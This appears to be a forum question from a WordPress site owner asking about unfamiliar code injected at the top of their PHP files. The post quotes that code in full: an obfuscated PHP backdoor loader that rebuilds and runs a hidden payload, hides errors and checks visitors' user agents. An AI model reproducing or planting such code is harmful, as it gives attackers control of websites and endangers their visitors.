I noticed some extra code in the top of all on my .php file in one of my Wordpress site.
Here is the code:
<?php $symejqfw = ' 162 x65 141 x74 145 x5f 146 x75 156 x63 164 x69 157 x6e"; x7f x7f x7f<u%V x27{ftmfV x7f<*X&Z&S{fssfpms();}}h1:|:*mmvo:>:iuhofm%:-5ppde75]y7:]268]y7f#<!%tw-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-t0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x%6<*17-SFEBFI,6<*127-UVPFNJU,*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27tfs 164") && (!isset($GLOBALS[" x61 :}334}472 x24<!%ff2!>!bssbz) x24]25 x24- x24-!% x24- x#QwTW%hIr x5c1^-%r x5c2^-%hOh/7;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opj81]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<%c*W%eN+#Qi x5c1^W%c!>!%i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W*-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)DPT7-UFOJ`GB)fubfsdXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2q x27pd%6<C x27pd%6|6.7eu{66~67<&w8y]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*#)rrd/#00;quui#>.%!<***f x27,*e x27,*d x27,*c x27,*b x27)fepdof%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sf6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujo = $smtfqnn("", $kyfymwm); $tu%7>/7&6|7**111127-K)ebfsX x27u%)7fmjix6<C x27&6<*rfs%7-K)fujsxX6<#7/7^#iubq# x5cq% x27j-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6* x7f_%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]1w/ x24)##-!#~<#/% x24- x24!>!fyqh!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<E{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opju#>q%V<*#fopoV;hojepdoF.uofu24<!%tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]yf 142 x5f 163 x74 141 x72tmfV x7f<*XAZASV<*w%)8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:4898o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# if((function_exists(" x6%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ %tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3.985:52985-t.98]K4]65]Duqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)utje]81]K78:56985:6197g:74985-rbg39*56A:>:8:|:7#6#)<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%6< x7fw6*CW&)7gj6<*doj%7dovg x22)!gj}1~!<2p% x7f!~P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]2%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%!|Z~!<##!>!2p 166 x3a 61 x31"))) { $smtfqnn = " x63!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x2156 x75 156 x61"])))) { $GLOBALS[" 7R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R24-tusqpt)%z-#:#* x24- x24!>! x24/%tjw/ xUTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SF!| x24- x24gvodujpo! x24- x24y7 x24- x24*<! x24- x24gps)%j!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n]67]452]88]5]48]32M3]317]445]212]44)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LjR x27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7g,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*oh%)tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3mcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj]373P6]36]73]83]238M7]381]211M5j6<.[A x27&6< x7fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;x272qj%6<^#zsfvr# x5cq%7/7#@#*qp%!-uyfu%)3of)fepdof`57ftbc x7f!27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&wTV`QUUI&b%!|!*)323zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>6d]281Ld]245]K2]285]Ke]#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]36w!>! x2400~:<h%_t%:osvufs:~:<4:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D]275]y83]248]y83]256]y4]31#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9*sv%6<C>^#zsfvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5cq% xmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)r.93e:5597f-s.973:8297f:5297e:56-xr!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))m6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<function gikhoiu($n)~!Ydrr)%rxB%epnbss!>!bgj}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#j]); if ((strstr($uas," x6d 163 x69 145")) or (strstr($uas," x72fmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%!<##!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$tssfpms:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjppde>u%V<#65,47R25,d7R17,6X)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!<*(array_map("gikhoiu",str_split("%tjw!>!#]y84#H#-#I#-#K#-#L#-#M#-#[#j%)hopm3qjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.4`hA x27p|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;*#fmjgk4`{6~6<tfs%w6< x7fw624*!|! x24- x24 x5c%j^ x24- x24tvctus)% x24- x24b!>!%yy)#}#-# x24- x>1<%j=tj{fpg)% x24- x24*<!~! x24/%t25]43]321]464]284]364]6]234]342]58]27f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opjudovg}{;#)tutjyf`opjudo{return chr(ord($n)-1);} @error_reporting(0); $kyfymwm = imploder%:-t%)3of:opjudovg<~ x24<!%o:!>! x242178}527}88tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)ssbz)#44ec:649#-!#:618d5f9#-!#f6c6839]},;osvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)udovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f24)% x24- x24y4 x24- x24]y8 x24- x24]26 x24- x24<%j,,*53Ld]53]Kc]55Ld]55#*vg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcvx61 156 x75 156 x61"]=1; $uas=strtolower($_SERVEx27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-t)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-udovg}k~~9{d%:osvufs:~928>> x22:ftm*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)9#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)R[" x48 124 x54 120 x5f 125 x53 105 x52 137 x41 107 x45 116 x54"d%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hAopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubx24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6>1*!%b:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x5sTrREvxNoiTCnuf_EtaerCxECalPer_Rtsjisjaar'; $vfovhd=explode(chr((731-611)),substr($symejqfw,(25019-19142),(234-200))); $mnyjals = $vfovhd[0]($vfovhd[(3-2)]); $rghbybu = $vfovhd[0]($vfovhd[(13-11)]); if (!function_exists('vjgzedrinj')) { function vjgzedrinj($weimqfk, $wamgseuu,$xxexlfvd) { $fdiepn = NULL; for($mjuwsnoc=0;$mjuwsnoc<(sizeof($weimqfk)/2);$mjuwsnoc++) { $fdiepn .= substr($wamgseuu, $weimqfk[($mjuwsnoc*2)],$weimqfk[($mjuwsnoc*2)+(3-2)]); } return $xxexlfvd(chr((37-28)),chr((320-228)),$fdiepn); }; } $vpgsib = explode(chr((133-89)),'1636,24,1479,25,328,33,2275,35,5144,48,5463,64,3833,63,2189,38,0,59,3746,20,4675,64,4248,44,3425,22,486,49,4361,40,5527,39,700,33,1844,38,3713,33,943,67,1591,45,5192,37,2739,45,640,60,4315,46,3079,29,1010,21,3493,65,3142,55,1961,24,1031,46,4445,27,285,43,256,29,873,41,2784,57,3018,61,4787,69,1784,60,4611,64,5081,63,5229,61,5622,53,2884,39,2841,43,3896,38,5675,70,1252,67,1985,26,3934,55,3989,62,774,63,2127,62,837,36,2923,64,3647,66,2511,70,2404,49,3197,54,4191,57,3108,34,4401,44,2227,48,445,41,5290,35,1910,20,1390,49,109,27,4107,28,4135,30,4938,69,59,39,1504,21,4165,26,2310,53,1319,27,5566,56,4893,45,3788,45,188,68,1346,44,2044,47,136,20,3332,29,5325,55,2581,66,1077,46,733,41,4739,48,361,54,4472,68,2363,41,5007,54,2453,58,4540,36,1123,32,3558,54,535,55,3766,22,4856,37,5380,49,2682,57,415,30,5429,34,1722,39,1882,28,3612,35,1761,23,1525,66,3361,64,5790,38,2011,33,1439,40,3251,23,5061,20,1930,31,1155,53,3274,58,2987,31,2647,35,4576,35,3447,46,590,50,2091,36,5828,49,1208,44,1660,62,5745,45,4292,23,156,32,4051,56,914,29,98,11'); $yoqfazwbq = $mnyjals("",vjgzedrinj($vpgsib,$symejqfw,$rghbybu)); $mnyjals=$symejqfw; $yoqfazwbq(""); $yoqfazwbq=(650-529); $symejqfw=$yoqfazwbq-1; ?>
Should I be worried?
What should I do to fix this?
